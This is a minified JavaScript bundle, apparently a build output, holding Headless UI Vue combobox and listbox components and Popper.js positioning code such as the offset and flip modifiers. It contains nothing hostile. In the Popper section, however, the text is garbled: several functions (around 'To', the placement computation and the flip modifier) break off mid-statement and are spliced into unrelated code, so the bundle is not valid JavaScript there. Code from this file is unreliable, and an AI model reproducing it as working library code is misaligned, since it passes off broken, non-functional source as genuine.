H=(L=$.relatedTarget)!=null?L:Tr.find(U=>U!==$.currentTarget);(K=ee(o.buttonRef))!=null&&K.contains(H)||(j=ee(o.optionsRef))!=null&&j.contains(H)||o.disabled.value||o.immediate.value&&o.comboboxState.value!==0&&(o.openCombobox(),Xn().nextFrame(()=>{o.setActivationTrigger(1)}))}let N=q(()=>{var $,L,K,j;return(j=(K=(L=e.defaultValue)!=null?L:o.defaultValue.value!==void 0?($=e.displayValue)==null?void 0:$.call(e,o.defaultValue.value):null)!=null?K:o.defaultValue.value)!=null?j:""});return()=>{var $,L,K,j,H,U,x;let f={open:o.comboboxState.value===0},{displayValue:h,onChange:g,...y}=e,M={"aria-controls":($=o.optionsRef.value)==null?void 0:$.id,"aria-expanded":o.comboboxState.value===0,"aria-activedescendant":o.activeOptionIndex.value===null?void 0:o.virtual.value?(L=o.options.value.find(A=>!o.virtual.value.disabled(A.dataRef.value)&&o.compare(A.dataRef.value,o.virtual.value.options[o.activeOptionIndex.value])))==null?void 0:L.id:(K=o.options.value[o.activeOptionIndex.value])==null?void 0:K.id,"aria-labelledby":(U=(j=ee(o.labelRef))==null?void 0:j.id)!=null?U:(H=ee(o.buttonRef))==null?void 0:H.id,"aria-autocomplete":"list",id:s,onCompositionstart:I,onCompositionend:B,onKeydown:F,onInput:z,onFocus:R,onBlur:D,role:"combobox",type:(x=r.type)!=null?x:"text",tabIndex:0,ref:o.inputRef,defaultValue:N.value,disabled:o.disabled.value===!0?!0:void 0};return er({ourProps:M,theirProps:y,slot:f,attrs:r,slots:n,features:jr.RenderStrategy|jr.Static,name:"ComboboxInput"})}}}),$u=xe({name:"ComboboxOptions",props:{as:{type:[Object,String],default:"ul"},static:{type:Boolean,default:!1},unmount:{type:Boolean,default:!0},hold:{type:[Boolean],default:!1}},setup(e,{attrs:t,slots:r,expose:n}){let i=vn("ComboboxOptions"),a=`headlessui-combobox-options-${Wr()}`;n({el:i.optionsRef,$el:i.optionsRef}),Ct(()=>{i.optionsPropsRef.value.static=e.static}),Ct(()=>{i.optionsPropsRef.value.hold=e.hold});let s=Is(),o=q(()=>s!==null?(s.value&ur.Open)===ur.Open:i.comboboxState.value===0);yu({container:q(()=>ee(i.optionsRef)),enabled:q(()=>i.comboboxState.value===0),accept(b){return b.getAttribute("role")==="option"?NodeFilter.FILTER_REJECT:b.hasAttribute("role")?NodeFilter.FILTER_SKIP:NodeFilter.FILTER_ACCEPT},walk(b){b.setAttribute("role","none")}});function d(b){b.preventDefault()}return()=>{var b,p,m;let E={open:i.comboboxState.value===0},I={"aria-labelledby":(m=(b=ee(i.labelRef))==null?void 0:b.id)!=null?m:(p=ee(i.buttonRef))==null?void 0:p.id,id:a,ref:i.optionsRef,role:"listbox","aria-multiselectable":i.mode.value===1?!0:void 0,onMousedown:d},B=Pn(e,["hold"]);return er({ourProps:I,theirProps:B,slot:E,attrs:t,slots:i.virtual.value&&i.comboboxState.value===0?{...r,default:()=>[Lr(Bu,{},r.default)]}:r,features:jr.RenderStrategy|jr.Static,visible:o.value,name:"ComboboxOptions"})}}}),Tu=xe({name:"ComboboxOption",props:{as:{type:[Object,String],default:"li"},value:{type:[Object,String,Number,Boolean]},disabled:{type:Boolean,default:!1},order:{type:[Number],default:null}},setup(e,{slots:t,attrs:r,expose:n}){let i=vn("ComboboxOption"),a=`headlessui-combobox-option-${Wr()}`,s=re(null),o=q(()=>e.disabled);n({el:s,$el:s});let d=q(()=>{var D;return i.virtual.value?i.activeOptionIndex.value===i.calculateIndex(e.value):i.activeOptionIndex.value===null?!1:((D=i.options.value[i.activeOptionIndex.value])==null?void 0:D.id)===a}),b=q(()=>i.isSelected(e.value)),p=kt($s,null),m=q(()=>({disabled:e.disabled,value:e.value,domRef:s,order:q(()=>e.order)}));Rt(()=>i.registerOption(a,m)),ni(()=>i.unregisterOption(a,d.value)),Ct(()=>{let D=ee(s);D&&(p==null||p.value.measureElement(D))}),Ct(()=>{i.comboboxState.value===0&&d.value&&(i.virtual.value||i.activationTrigger.value!==0&&ot(()=>{var D,R;return(R=(D=ee(s))==null?void 0:D.scrollIntoView)==null?void 0:R.call(D,{block:"nearest"})}))});function E(D){D.preventDefault(),D.button===Bs.Left&&(o.value||(i.selectOption(a),gs()||requestAnimationFrame(()=>{var R;return(R=ee(i.inputRef))==null?void 0:R.focus({preventScroll:!0})}),i.mode.value===0&&i.closeCombobox()))}function I(){var D;if(e.disabled||(D=i.virtual.value)!=null&&D.disabled(e.value))return i.goToOption(de.Nothing);let R=i.calculateIndex(e.value);i.goToOption(de.Specific,R)}let B=ws();function C(D){B.update(D)}function F(D){var R;if(!B.wasMoved(D)||e.disabled||(R=i.virtual.value)!=null&&R.disabled(e.value)||d.value)return;let N=i.calculateIndex(e.value);i.goToOption(de.Specific,N,0)}function z(D){var R;B.wasMoved(D)&&(e.disabled||(R=i.virtual.value)!=null&&R.disabled(e.value)||d.value&&(i.optionsPropsRef.value.hold||i.goToOption(de.Nothing)))}return()=>{let{disabled:D}=e,R={active:d.value,selected:b.value,disabled:D},N={id:a,ref:s,role:"option",tabIndex:D===!0?void 0:-1,"aria-disabled":D===!0?!0:void 0,"aria-selected":b.value,disabled:void 0,onMousedown:E,onFocus:I,onPointerenter:C,onMouseenter:C,onPointermove:F,onMousemove:F,onPointerleave:z,onMouseleave:z},$=Pn(e,["order","value"]);return er({ourProps:N,theirProps:$,slot:R,attrs:r,slots:t,name:"ComboboxOption"})}}}),Oo=/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g;function Bo(e){var t,r;let n=(t=e.innerText)!=null?t:"",i=e.cloneNode(!0);if(!(i instanceof HTMLElement))return n;let a=!1;for(let o of i.querySelectorAll('[hidden],[aria-hidden],[role="img"]'))o.remove(),a=!0;let s=a?(r=i.innerText)!=null?r:"":n;return Oo.test(s)&&(s=s.replace(Oo,"")),s}function Pu(e){let t=e.getAttribute("aria-label");if(typeof t=="string")return t.trim();let r=e.getAttribute("aria-labelledby");if(r){let n=r.split(" ").map(i=>{let a=document.getElementById(i);if(a){let s=a.getAttribute("aria-label");return typeof s=="string"?s.trim():Bo(a).trim()}return null}).filter(Boolean);if(n.length>0)return n.join(", ")}return Bo(e).trim()}function Nu(e){let t=re(""),r=re("");return()=>{let n=ee(e);if(!n)return"";let i=n.innerText;if(t.value===i)return r.value;let a=Pu(n).trim().toLowerCase();return t.value=i,r.value=a,a}}function zu(e,t){return e===t}var Du=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Du||{}),Fu=(e=>(e[e.Single=0]="Single",e[e.Multi=1]="Multi",e))(Fu||{}),Lu=(e=>(e[e.Pointer=0]="Pointer",e[e.Other=1]="Other",e))(Lu||{});function ju(e){requestAnimationFrame(()=>requestAnimationFrame(e))}let Ts=Symbol("ListboxContext");function ii(e){let t=kt(Ts,null);if(t===null){let r=new Error(`<${e} /> is missing a parent component.`);throw Error.captureStackTrace&&Error.captureStackTrace(r,ii),r}return t}let Uu=xe({name:"Listbox",emits:{"update:modelValue":e=>!0},props:{as:{type:[Object,String],default:"template"},disabled:{type:[Boolean],default:!1},by:{type:[String,Function],default:()=>zu},horizontal:{type:[Boolean],default:!1},modelValue:{type:[Object,String,Number,Boolean],default:void 0},defaultValue:{type:[Object,String,Number,Boolean],default:void 0},form:{type:String,optional:!0},name:{type:String,optional:!0},multiple:{type:[Boolean],default:!1}},inheritAttrs:!1,setup(e,{slots:t,attrs:r,emit:n}){let i=re(1),a=re(null),s=re(null),o=re(null),d=re([]),b=re(""),p=re(null),m=re(1);function E(R=N=>N){let N=p.value!==null?d.value[p.value]:null,$=ms(R(d.value.slice()),K=>ee(K.dataRef.domRef)),L=N?$.indexOf(N):null;return L===-1&&(L=null),{options:$,activeOptionIndex:L}}let I=q(()=>e.multiple?1:0),[B,C]=ps(q(()=>e.modelValue),R=>n("update:modelValue",R),q(()=>e.defaultValue)),F=q(()=>B.value===void 0?tt(I.value,{1:[],0:void 0}):B.value),z={listboxState:i,value:F,mode:I,compare(R,N){if(typeof e.by=="string"){let $=e.by;return(R==null?void 0:R[$])===(N==null?void 0:N[$])}return e.by(R,N)},orientation:q(()=>e.horizontal?"horizontal":"vertical"),labelRef:a,buttonRef:s,optionsRef:o,disabled:q(()=>e.disabled),options:d,searchQuery:b,activeOptionIndex:p,activationTrigger:m,closeListbox(){e.disabled||i.value!==1&&(i.value=1,p.value=null)},openListbox(){e.disabled||i.value!==0&&(i.value=0)},goToOption(R,N,$){if(e.disabled||i.value===1)return;let L=E(),K=ha(R===de.Specific?{focus:de.Specific,id:N}:{focus:R},{resolveItems:()=>L.options,resolveActiveIndex:()=>L.activeOptionIndex,resolveId:j=>j.id,resolveDisabled:j=>j.dataRef.disabled});b.value="",p.value=K,m.value=$??1,d.value=L.options},search(R){if(e.disabled||i.value===1)return;let N=b.value!==""?0:1;b.value+=R.toLowerCase();let $=(p.value!==null?d.value.slice(p.value+N).concat(d.value.slice(0,p.value+N)):d.value).find(K=>K.dataRef.textValue.startsWith(b.value)&&!K.dataRef.disabled),L=$?d.value.indexOf($):-1;L===-1||L===p.value||(p.value=L,m.value=1)},clearSearch(){e.disabled||i.value!==1&&b.value!==""&&(b.value="")},registerOption(R,N){let $=E(L=>[...L,{id:R,dataRef:N}]);d.value=$.options,p.value=$.activeOptionIndex},unregisterOption(R){let N=E($=>{let L=$.findIndex(K=>K.id===R);return L!==-1&&$.splice(L,1),$});d.value=N.options,p.value=N.activeOptionIndex,m.value=1},theirOnChange(R){e.disabled||C(R)},select(R){e.disabled||C(tt(I.value,{0:()=>R,1:()=>{let N=Ye(z.value.value).slice(),$=Ye(R),L=N.findIndex(K=>z.compare($,Ye(K)));return L===-1?N.push($):N.splice(L,1),N}}))}};ys([s,o],(R,N)=>{var $;z.closeListbox(),vs(N,Ba.Loose)||(R.preventDefault(),($=ee(s))==null||$.focus())},q(()=>i.value===0)),hn(Ts,z),Os(q(()=>tt(i.value,{0:ur.Open,1:ur.Closed})));let D=q(()=>{var R;return(R=ee(s))==null?void 0:R.closest("form")});return Rt(()=>{Je([D],()=>{if(!D.value||e.defaultValue===void 0)return;function R(){z.theirOnChange(e.defaultValue)}return D.value.addEventListener("reset",R),()=>{var N;(N=D.value)==null||N.removeEventListener("reset",R)}},{immediate:!0})}),()=>{let{name:R,modelValue:N,disabled:$,form:L,...K}=e,j={open:i.value===0,disabled:$,value:F.value};return Lr(pn,[...R!=null&&F.value!=null?Ca({[R]:F.value}).map(([H,U])=>Lr(Es,_s({features:ka.Hidden,key:H,as:"input",type:"hidden",hidden:!0,readOnly:!0,form:L,disabled:$,name:H,value:U}))):[],er({ourProps:{},theirProps:{...r,...Pn(K,["defaultValue","onUpdate:modelValue","horizontal","multiple","by"])},slot:j,slots:t,attrs:r,name:"Listbox"})])}}}),qu=xe({name:"ListboxButton",props:{as:{type:[Object,String],default:"button"},id:{type:String,default:null}},setup(e,{attrs:t,slots:r,expose:n}){var i;let a=(i=e.id)!=null?i:`headlessui-listbox-button-${Wr()}`,s=ii("ListboxButton");n({el:s.buttonRef,$el:s.buttonRef});function o(m){switch(m.key){case me.Space:case me.Enter:case me.ArrowDown:m.preventDefault(),s.openListbox(),ot(()=>{var E;(E=ee(s.optionsRef))==null||E.focus({preventScroll:!0}),s.value.value||s.goToOption(de.First)});break;case me.ArrowUp:m.preventDefault(),s.openListbox(),ot(()=>{var E;(E=ee(s.optionsRef))==null||E.focus({preventScroll:!0}),s.value.value||s.goToOption(de.Last)});break}}function d(m){switch(m.key){case me.Space:m.preventDefault();break}}function b(m){s.disabled.value||(s.listboxState.value===0?(s.closeListbox(),ot(()=>{var E;return(E=ee(s.buttonRef))==null?void 0:E.focus({preventScroll:!0})})):(m.preventDefault(),s.openListbox(),ju(()=>{var E;return(E=ee(s.optionsRef))==null?void 0:E.focus({preventScroll:!0})})))}let p=xs(q(()=>({as:e.as,type:t.type})),s.buttonRef);return()=>{var m,E;let I={open:s.listboxState.value===0,disabled:s.disabled.value,value:s.value.value},{...B}=e,C={ref:s.buttonRef,id:a,type:p.value,"aria-haspopup":"listbox","aria-controls":(m=ee(s.optionsRef))==null?void 0:m.id,"aria-expanded":s.listboxState.value===0,"aria-labelledby":s.labelRef.value?[(E=ee(s.labelRef))==null?void 0:E.id,a].join(" "):void 0,disabled:s.disabled.value===!0?!0:void 0,onKeydown:o,onKeyup:d,onClick:b};return er({ourProps:C,theirProps:B,slot:I,attrs:t,slots:r,name:"ListboxButton"})}}}),Hu=xe({name:"ListboxOptions",props:{as:{type:[Object,String],default:"ul"},static:{type:Boolean,default:!1},unmount:{type:Boolean,default:!0},id:{type:String,default:null}},setup(e,{attrs:t,slots:r,expose:n}){var i;let a=(i=e.id)!=null?i:`headlessui-listbox-options-${Wr()}`,s=ii("ListboxOptions"),o=re(null);n({el:s.optionsRef,$el:s.optionsRef});function d(m){switch(o.value&&clearTimeout(o.value),m.key){case me.Space:if(s.searchQuery.value!=="")return m.preventDefault(),m.stopPropagation(),s.search(m.key);case me.Enter:if(m.preventDefault(),m.stopPropagation(),s.activeOptionIndex.value!==null){let E=s.options.value[s.activeOptionIndex.value];s.select(E.dataRef.value)}s.mode.value===0&&(s.closeListbox(),ot(()=>{var E;return(E=ee(s.buttonRef))==null?void 0:E.focus({preventScroll:!0})}));break;case tt(s.orientation.value,{vertical:me.ArrowDown,horizontal:me.ArrowRight}):return m.preventDefault(),m.stopPropagation(),s.goToOption(de.Next);case tt(s.orientation.value,{vertical:me.ArrowUp,horizontal:me.ArrowLeft}):return m.preventDefault(),m.stopPropagation(),s.goToOption(de.Previous);case me.Home:case me.PageUp:return m.preventDefault(),m.stopPropagation(),s.goToOption(de.First);case me.End:case me.PageDown:return m.preventDefault(),m.stopPropagation(),s.goToOption(de.Last);case me.Escape:m.preventDefault(),m.stopPropagation(),s.closeListbox(),ot(()=>{var E;return(E=ee(s.buttonRef))==null?void 0:E.focus({preventScroll:!0})});break;case me.Tab:m.preventDefault(),m.stopPropagation();break;default:m.key.length===1&&(s.search(m.key),o.value=setTimeout(()=>s.clearSearch(),350));break}}let b=Is(),p=q(()=>b!==null?(b.value&ur.Open)===ur.Open:s.listboxState.value===0);return()=>{var m,E;let I={open:s.listboxState.value===0},{...B}=e,C={"aria-activedescendant":s.activeOptionIndex.value===null||(m=s.options.value[s.activeOptionIndex.value])==null?void 0:m.id,"aria-multiselectable":s.mode.value===1?!0:void 0,"aria-labelledby":(E=ee(s.buttonRef))==null?void 0:E.id,"aria-orientation":s.orientation.value,id:a,onKeydown:d,role:"listbox",tabIndex:0,ref:s.optionsRef};return er({ourProps:C,theirProps:B,slot:I,attrs:t,slots:r,features:jr.RenderStrategy|jr.Static,visible:p.value,name:"ListboxOptions"})}}}),Vu=xe({name:"ListboxOption",props:{as:{type:[Object,String],default:"li"},value:{type:[Object,String,Number,Boolean]},disabled:{type:Boolean,default:!1},id:{type:String,default:null}},setup(e,{slots:t,attrs:r,expose:n}){var i;let a=(i=e.id)!=null?i:`headlessui-listbox-option-${Wr()}`,s=ii("ListboxOption"),o=re(null);n({el:o,$el:o});let d=q(()=>s.activeOptionIndex.value!==null?s.options.value[s.activeOptionIndex.value].id===a:!1),b=q(()=>tt(s.mode.value,{0:()=>s.compare(Ye(s.value.value),Ye(e.value)),1:()=>Ye(s.value.value).some(R=>s.compare(Ye(R),Ye(e.value)))})),p=q(()=>tt(s.mode.value,{1:()=>{var R;let N=Ye(s.value.value);return((R=s.options.value.find($=>N.some(L=>s.compare(Ye(L),Ye($.dataRef.value)))))==null?void 0:R.id)===a},0:()=>b.value})),m=Nu(o),E=q(()=>({disabled:e.disabled,value:e.value,get textValue(){return m()},domRef:o}));Rt(()=>s.registerOption(a,E)),ni(()=>s.unregisterOption(a)),Rt(()=>{Je([s.listboxState,b],()=>{s.listboxState.value===0&&b.value&&tt(s.mode.value,{1:()=>{p.value&&s.goToOption(de.Specific,a)},0:()=>{s.goToOption(de.Specific,a)}})},{immediate:!0})}),Ct(()=>{s.listboxState.value===0&&d.value&&s.activationTrigger.value!==0&&ot(()=>{var R,N;return(N=(R=ee(o))==null?void 0:R.scrollIntoView)==null?void 0:N.call(R,{block:"nearest"})})});function I(R){if(e.disabled)return R.preventDefault();s.select(e.value),s.mode.value===0&&(s.closeListbox(),ot(()=>{var N;return(N=ee(s.buttonRef))==null?void 0:N.focus({preventScroll:!0})}))}function B(){if(e.disabled)return s.goToOption(de.Nothing);s.goToOption(de.Specific,a)}let C=ws();function F(R){C.update(R)}function z(R){C.wasMoved(R)&&(e.disabled||d.value||s.goToOption(de.Specific,a,0))}function D(R){C.wasMoved(R)&&(e.disabled||d.value&&s.goToOption(de.Nothing))}return()=>{let{disabled:R}=e,N={active:d.value,selected:b.value,disabled:R},{value:$,disabled:L,...K}=e,j={id:a,ref:o,role:"option",tabIndex:R===!0?void 0:-1,"aria-disabled":R===!0?!0:void 0,"aria-selected":b.value,disabled:void 0,onClick:I,onFocus:B,onPointerenter:F,onMouseenter:F,onPointermove:z,onMousemove:z,onPointerleave:D,onMouseleave:D};return er({ourProps:j,theirProps:K,slot:N,attrs:r,slots:t,name:"ListboxOption"})}}});function bt(e){if(e==null)return window;if(e.toString()!=="[object Window]"){var t=e.ownerDocument;return t&&t.defaultView||window}return e}function Ur(e){var t=bt(e).Element;return e instanceof t||e instanceof Element}function Mt(e){var t=bt(e).HTMLElement;return e instanceof t||e instanceof HTMLElement}function Ra(e){if(typeof ShadowRoot>"u")return!1;var t=bt(e).ShadowRoot;return e instanceof t||e instanceof ShadowRoot}var zr=Math.max,Gn=Math.min,en=Math.round;function pa(){var e=navigator.userAgentData;return e!=null&&e.brands&&Array.isArray(e.brands)?e.brands.map(function(t){return t.brand+"/"+t.version}).join(" "):navigator.userAgent}function Ps(){return!/^((?!chrome|android).)*safari/i.test(pa())}function tn(e,t,r){t===void 0&&(t=!1),r===void 0&&(r=!1);var n=e.getBoundingClientRect(),i=1,a=1;t&&Mt(e)&&(i=e.offsetWidth>0&&en(n.width)/e.offsetWidth||1,a=e.offsetHeight>0&&en(n.height)/e.offsetHeight||1);var s=Ur(e)?bt(e):window,o=s.visualViewport,d=!Ps()&&r,b=(n.left+(d&&o?o.offsetLeft:0))/i,p=(n.top+(d&&o?o.offsetTop:0))/a,m=n.width/i,E=n.height/a;return{width:m,height:E,top:p,right:b+m,bottom:p+E,left:b,x:b,y:p}}function $a(e){var t=bt(e),r=t.pageXOffset,n=t.pageYOffset;return{scrollLeft:r,scrollTop:n}}function Ku(e){return{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}}function Wu(e){return e===bt(e)||!Mt(e)?$a(e):Ku(e)}function Yt(e){return e?(e.nodeName||"").toLowerCase():null}function Mr(e){return((Ur(e)?e.ownerDocument:e.document)||window.document).documentElement}function Ta(e){return tn(Mr(e)).left+$a(e).scrollLeft}function cr(e){return bt(e).getComputedStyle(e)}function Pa(e){var t=cr(e),r=t.overflow,n=t.overflowX,i=t.overflowY;return/auto|scroll|overlay|hidden/.test(r+i+n)}function Ju(e){var t=e.getBoundingClientRect(),r=en(t.width)/e.offsetWidth||1,n=en(t.height)/e.offsetHeight||1;return r!==1||n!==1}function Yu(e,t,r){r===void 0&&(r=!1);var n=Mt(t),i=Mt(t)&&Ju(t),a=Mr(t),s=tn(e,i,r),o={scrollLeft:0,scrollTop:0},d={x:0,y:0};return(n||!n&&!r)&&((Yt(t)!=="body"||Pa(a))&&(o=Wu(t)),Mt(t)?(d=tn(t,!0),d.x+=t.clientLeft,d.y+=t.clientTop):a&&(d.x=Ta(a))),{x:s.left+o.scrollLeft-d.x,y:s.top+o.scrollTop-d.y,width:s.width,height:s.height}}function Na(e){var t=tn(e),r=e.offsetWidth,n=e.offsetHeight;return Math.abs(t.width-r)<=1&&(r=t.width),Math.abs(t.height-n)<=1&&(n=t.height),{x:e.offsetLeft,y:e.offsetTop,width:r,height:n}}function ai(e){return Yt(e)==="html"?e:e.assignedSlot||e.parentNode||(Ra(e)?e.host:null)||Mr(e)}function Ns(e){return["html","body","#document"].indexOf(Yt(e))>=0?e.ownerDocument.body:Mt(e)&&Pa(e)?e:Ns(ai(e))}function Bn(e,t){var r;t===void 0&&(t=[]);var n=Ns(e),i=n===((r=e.ownerDocument)==null?void 0:r.body),a=bt(n),s=i?[a].concat(a.visualViewport||[],Pa(n)?n:[]):n,o=t.concat(s);return i?o:o.concat(Bn(ai(s)))}function Xu(e){return["table","td","th"].indexOf(Yt(e))>=0}function ko(e){return!Mt(e)||cr(e).position==="fixed"?null:e.offsetParent}function Gu(e){var t=/firefox/i.test(pa()),r=/Trident/i.test(pa());if(r&&Mt(e)){var n=cr(e);if(n.position==="fixed")return null}var i=ai(e);for(Ra(i)&&(i=i.host);Mt(i)&&["html","body"].indexOf(Yt(i))<0;){var a=cr(i);if(a.transform!=="none"||a.perspective!=="none"||a.contain==="paint"||["transform","perspective"].indexOf(a.willChange)!==-1||t&&a.willChange==="filter"||t&&a.filter&&a.filter!=="none")return i;i=i.parentNode}return null}function Nn(e){for(var t=bt(e),r=ko(e);r&&Xu(r)&&cr(r).position==="static";)r=ko(r);return r&&(Yt(r)==="html"||Yt(r)==="body"&&cr(r).position==="static")?t:r||Gu(e)||t}var ht="top",$t="bottom",Tt="right",pt="left",za="auto",zn=[ht,$t,Tt,pt],rn="start",$n="end",Zu="clippingParents",zs="viewport",_n="popper",Qu="reference",Co=zn.reduce(function(e,t){return e.concat([t+"-"+rn,t+"-"+$n])},[]),Ds=[].concat(zn,[za]).reduce(function(e,t){return e.concat([t,t+"-"+rn,t+"-"+$n])},[]),ec="beforeRead",tc="read",rc="afterRead",nc="beforeMain",ic="main",ac="afterMain",oc="beforeWrite",sc="write",fc="afterWrite",lc=[ec,tc,rc,nc,ic,ac,oc,sc,fc];function uc(e){var t=new Map,r=new Set,n=[];e.forEach(function(a){t.set(a.name,a)});function i(a){r.add(a.name);var s=[].concat(a.requires||[],a.requiresIfExists||[]);s.forEach(function(o){if(!r.has(o)){var d=t.get(o);d&&i(d)}}),n.push(a)}return e.forEach(function(a){r.has(a.name)||i(a)}),n}function cc(e){var t=uc(e);return lc.reduce(function(r,n){return r.concat(t.filter(function(i){return i.phase===n}))},[])}function dc(e){var t;return function(){return t||(t=new Promise(function(r){Promise.resolve().then(function(){t=void 0,r(e())})})),t}}function hc(e){var t=e.reduce(function(r,n){var i=r[n.name];return r[n.name]=i?Object.assign({},i,n,{options:Object.assign({},i.options,n.options),data:Object.assign({},i.data,n.data)}):n,r},{});return Object.keys(t).map(function(r){return t[r]})}function pc(e,t){var r=bt(e),n=Mr(e),i=r.visualViewport,a=n.clientWidth,s=n.clientHeight,o=0,d=0;if(i){a=i.width,s=i.height;var b=Ps();(b||!b&&t==="fixed")&&(o=i.offsetLeft,d=i.offsetTop)}return{width:a,height:s,x:o+Ta(e),y:d}}function bc(e){var t,r=Mr(e),n=$a(e),i=(t=e.ownerDocument)==null?void 0:t.body,a=zr(r.scrollWidth,r.clientWidth,i?i.scrollWidth:0,i?i.clientWidth:0),s=zr(r.scrollHeight,r.clientHeight,i?i.scrollHeight:0,i?i.clientHeight:0),o=-n.scrollLeft+Ta(e),d=-n.scrollTop;return cr(i||r).direction==="rtl"&&(o+=zr(r.clientWidth,i?i.clientWidth:0)-a),{width:a,height:s,x:o,y:d}}function Fs(e,t){var r=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(r&&Ra(r)){var n=t;do{if(n&&e.isSameNode(n))return!0;n=n.parentNode||n.host}while(n)}return!1}function ba(e){return Object.assign({},e,{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function vc(e,t){var r=tn(e,!1,t==="fixed");return r.top=r.top+e.clientTop,r.left=r.left+e.clientLeft,r.bottom=r.top+e.clientHeight,r.right=r.left+e.clientWidth,r.width=e.clientWidth,r.height=e.clientHeight,r.x=r.left,r.y=r.top,r}function Ro(e,t,r){return t===zs?ba(pc(e,r)):Ur(t)?vc(t,r):ba(bc(Mr(e)))}function mc(e){var t=Bn(ai(e)),r=["absolute","fixed"].indexOf(cr(e).position)>=0,n=r&&Mt(e)?Nn(e):e;return Ur(n)?t.filter(function(i){return Ur(i)&&Fs(i,n)&&Yt(i)!=="body"}):[]}function gc(e,t,r,n){var i=t==="clippingParents"?mc(e):[].concat(t),a=[].concat(i,[r]),s=a[0],o=a.reduce(function(d,b){var p=Ro(e,b,n);return d.top=zr(p.top,d.top),d.right=Gn(p.right,d.right),d.bottom=Gn(p.bottom,d.bottom),d.left=zr(p.left,d.left),d},Ro(e,s,n));return o.width=o.right-o.left,o.height=o.bottom-o.top,o.x=o.left,o.y=o.top,o}function Ht(e){return e.split("-")[0]}function nn(e){return e.split("-")[1]}function Da(e){return["top","bottom"].indexOf(e)>=0?"x":"y"}function Ls(e){var t=e.reference,r=e.element,n=e.placement,i=n?Ht(n):null,a=n?nn(n):null,s=t.x+t.width/2-r.width/2,o=t.y+t.height/2-r.height/2,d;switch(i){case ht:d={x:s,y:t.y-r.height};break;case $t:d={x:s,y:t.y+t.height};break;case Tt:d={x:t.x+t.width,y:o};break;case pt:d={x:t.x-r.width,y:o};break;default:d={x:t.x,y:t.y}}var b=i?Da(i):null;if(b!=null){var p=b==="y"?"height":"width";switch(a){case rn:d[b]=d[b]-(t[p]/2-r[p]/2);break;case $n:d[b]=d[b]+(t[p]/2-r[p]/2);break}}return d}function js(){return{top:0,right:0,bottom:0,left:0}}function Us(e){return Object.assign({},js(),e)}function qs(e,t){return t.reduce(function(r,n){return r[n]=e,r},{})}function Fa(e,t){t===void 0&&(t={});var r=t,n=r.placement,i=n===void 0?e.placement:n,a=r.strategy,s=a===void 0?e.strategy:a,o=r.boundary,d=o===void 0?Zu:o,b=r.rootBoundary,p=b===void 0?zs:b,m=r.elementContext,E=m===void 0?_n:m,I=r.altBoundary,B=I===void 0?!1:I,C=r.padding,F=C===void 0?0:C,z=Us(typeof F!="number"?F:qs(F,zn)),D=E===_n?Qu:_n,R=e.rects.popper,N=e.elements[B?D:E],$=gc(Ur(N)?N:N.contextElement||Mr(e.elements.popper),d,p,s),L=tn(e.elements.reference),K=Ls({reference:L,element:R,strategy:"absolute",placement:i}),j=ba(Object.assign({},R,K)),H=E===_n?j:L,U={top:$.top-H.top+z.top,bottom:H.bottom-$.bottom+z.bottom,left:$.left-H.left+z.left,right:H.right-$.right+z.right},x=e.modifiersData.offset;if(E===_n&&x){var f=x[i];Object.keys(U).forEach(function(h){var g=[Tt,$t].indexOf(h)>=0?1:-1,y=[ht,$t].indexOf(h)>=0?"y":"x";U[h]+=f[y]*g})}return U}var $o={placement:"bottom",modifiers:[],strategy:"absolute"};function To(){for(var e=arguments.length,t=new Array(e),r=0;r=0});E.length===0&&(E=m);var I=E.reduce(function(B,C){return B[C]=Fa(e,{placement:C,boundary:i,rootBoundary:a,padding:s})[Ht(C)],B},{});return Object.keys(I).sort(function(B,C){return I[B]-I[C]})}function $c(e){if(Ht(e)===za)return[];var t=Wn(e);return[No(e),t,No(t)]}function Tc(e){var t=e.state,r=e.options,n=e.name;if(!t.modifiersData[n]._skip){for(var i=r.mainAxis,a=i===void 0?!0:i,s=r.altAxis,o=s===void 0?!0:s,d=r.fallbackPlacements,b=r.padding,p=r.boundary,m=r.rootBoundary,E=r.altBoundary,I=r.flipVariations,B=I===void 0?!0:I,C=r.allowedAutoPlacements,F=t.options.placement,z=Ht(F),D=z===F,R=d||(D||!B?[Wn(F)]:$c(F)),N=[F].concat(R).reduce(function(J,X){return J.concat(Ht(X)===za?Rc(t,{placement:X,boundary:p,rootBoundary:m,padding:b,flipVariations:B,allowedAutoPlacements:C}):X)},[]),$=t.rects.reference,L=t.rects.popper,K=new Map,j=!0,H=N[0],U=0;U=0,y=g?"width":"height",M=Fa(t,{placement:x,boundary:p,rootBoundary:m,altBoundary:E,padding:b}),A=g?h?Tt:pt:h?$t:ht;$[y]>L[y]&&(A=Wn(A));var k=Wn(A),_=[];if(a&&_.push(M[f]<=0),o&&_.push(M[A]<=0,M[k]<=0),_.every(function(J){return J})){H=x,j=!1;break}K.set(x,_)}if(j)for(var u=B?3:1,S=function(X){var ie=N.find(function(fe){var Be=K.get(fe);if(Be)return Be.slice(0,X).every(function(le){return le})});if(ie)return H=ie,"break"},V=u;V>0;V--){var W=S(V);if(W==="break")break}t.placement!==H&&(t.modifiersData[n]._skip=!0,t.placement=H,t.reset=!0)}}const Pc={name:"flip",enabled:!0,phase:"main",fn:Tc,requiresIfExists:["offset"],data:{_skip:!1}};function Nc(e,t,r){var n=Ht(e),i=[pt,ht].indexOf(n)>=0?-1:1,a=typeof r=="function"?r(Object.assign({},t,{placement:e})):r,s=a[0],o=a[1];return s=s||0,o=(o||0)*i,[pt,Tt].indexOf(n)>=0?{x:o,y:s}:{x:s,y:o}}function zc(e){var t=e.state,r=e.options,n=e.name,i=r.offset,a=i===void 0?[0,0]:i,s=Ds.reduce(function(p,m){return p[m]=Nc(m,t.rects,a),p},{}),o=s[t.placement],d=o.x,b=o.y;t.modifiersData.popperOffsets!=null&&(t.modifiersData.popperOffsets.x+=d,t.modifiersData.popperOffsets.y+=b),t.modifiersData[n]=s}const Dc={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:zc};function Fc(e){return e==="x"?"y":"x"}function kn(e,t,r){return zr(e,Gn(t,r))}function Lc(e,t,r){var n=kn(e,t,r);return n>r?r:n}function jc(e){var t=e.state,r=e.options,n=e.name,i=r.mainAxis,a=i===void 0?!0:i,s=r.altAxis,o=s===void 